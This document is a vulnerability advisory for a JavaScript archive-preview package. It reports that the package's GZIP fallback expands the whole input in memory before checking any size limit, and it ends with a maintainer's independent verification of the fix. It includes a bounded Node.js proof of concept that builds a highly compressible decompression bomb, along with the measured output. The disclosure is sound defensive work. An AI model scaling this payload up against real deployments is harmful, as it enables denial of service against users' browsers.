Unbounded GZIP decompression in the archive fallback can exhaust browser memory
Description
When the libarchive.js Worker cannot start, @file-viewer/renderer-archive falls back to in-process GZIP parsing. The fallback fully decompresses a .gz or .tgz file into memory before enforcing an expanded-size limit. A small, highly compressible archive can therefore cause excessive memory use and make the viewer unresponsive. A local proof of concept expanded a 69,327-byte GZIP input to 68 MiB during archive listing, before the default 64 MiB entry-preview limit could apply.
Details
The affected source checkout is commit eb842206323f19793ce71836c116d54f461f849e (version 3.1.2). The package's published tarball was not independently tested.
openArchive()checks only the compressed input length againstmaxArchiveSize(320 MiB by default):archive.tslines 939–944.- If Worker candidates fail, it calls
loadArchiveEntriesWithoutWorker()through the fallback path:archive.tslines 916–924. - For
.gzand.tgz, the fallback decompresses the complete input before listing entries:archiveFallback.tslines 337–345.decompressBytes()usesnew Response(stream).arrayBuffer()without an expanded-byte budget:archiveFallback.tslines 115–124. - The default 64 MiB entry-preview limit is checked only after the user selects an entry, when fallback GZIP decompression has already completed:
archive.tslines 1059–1073.
The archive renderer documentation identifies mobile WebViews, local static servers, and private intranet deployments as situations where the Worker fallback may be used.
I did not find a matching public advisory or issue as of 2026-10-08. I cannot inspect private reports, so this may already have been reported privately.
Proof of concept
This bounded PoC invokes the actual built fallback module. It uses no network endpoint and does not write an archive to disk. It confirms memory amplification; it does not claim to reproduce a browser tab crash.
On a clean checkout at the commit above:
pnpm install --filter @file-viewer/renderer-archive... --frozen-lockfile --ignore-scripts
pnpm --filter @file-viewer/core build
pnpm --filter @file-viewer/renderer-archive buildSave the following as poc.mjs in the repository root, then run node poc.mjs 68. Use node poc.mjs 8 for a lower-memory check.
import { gzipSync } from 'node:zlib';
import { loadArchiveEntriesWithoutWorker } from './packages/renderers/archive/dist/archiveFallback.js';
const sizeMiB = Number(process.argv[2] ?? 8);
if (!Number.isInteger(sizeMiB) || sizeMiB < 1 || sizeMiB > 68) {
throw new Error('Use an integer from 1 to 68 MiB');
}
const expectedBytes = sizeMiB * 1024 * 1024;
const compressed = gzipSync(Buffer.alloc(expectedBytes));
const input = compressed.buffer.slice(
compressed.byteOffset,
compressed.byteOffset + compressed.byteLength,
);
const before = process.memoryUsage();
const entries = await loadArchiveEntriesWithoutWorker(input, 'untrusted.gz');
const after = process.memoryUsage();
const expandedBytes = entries?.[0]?.size;
if (expandedBytes !== expectedBytes) throw new Error('Unexpected expansion result');
console.log({
compressedBytes: compressed.byteLength,
expandedBytes,
expansionRatio: Math.round(expandedBytes / compressed.byteLength),
exceedsDefault64MiBPreviewLimit: expandedBytes > 64 * 1024 * 1024,
rssDeltaBytes: after.rss - before.rss,
});Observed on Windows with Node.js v24.19.0 and pnpm 11.19.0 using node poc.mjs 68:
compressedBytes: 69327
expandedBytes: 71303168
expansionRatio: 1029
exceedsDefault64MiBPreviewLimit: true
rssDeltaBytes: 160694272The exact RSS delta varies by runtime and garbage collection. The important observation is that archive listing fully materializes 68 MiB from a 69 KB input before the 64 MiB preview check can run.
Impact
An attacker who can supply an archive for preview may cause excessive memory use and responsiveness degradation in the victim's browser tab or WebView when the Worker fallback is active. Larger decompression bombs could terminate the tab or WebView, but termination was not demonstrated in this bounded test. This is an availability issue; no confidentiality or integrity impact was observed. Exploitation requires a victim to open the crafted archive and a deployment where the fallback path is used.
---
Maintainer verification (2026-10-28)
The reported fallback decompression issue was independently reproduced in the published @file-viewer/renderer-archive@3.1.2 package. Published version 3.2.0 is the first patched release independently verified in this review; 3.3.0 was also verified to reject decompression exceeding the configured preview budget. The affected-version field deliberately records the confirmed 3.1.2 release only; this review does not claim that all earlier releases were tested.
Verification used bounded local fixtures: the supplied GZIP input in isolated Node processes, exact/over-budget and empty-input controls, and actual Chromium/WebKit fallback previews after a controlled Worker-constructor failure. Normal small archives remained usable. No browser out-of-memory stress test is claimed.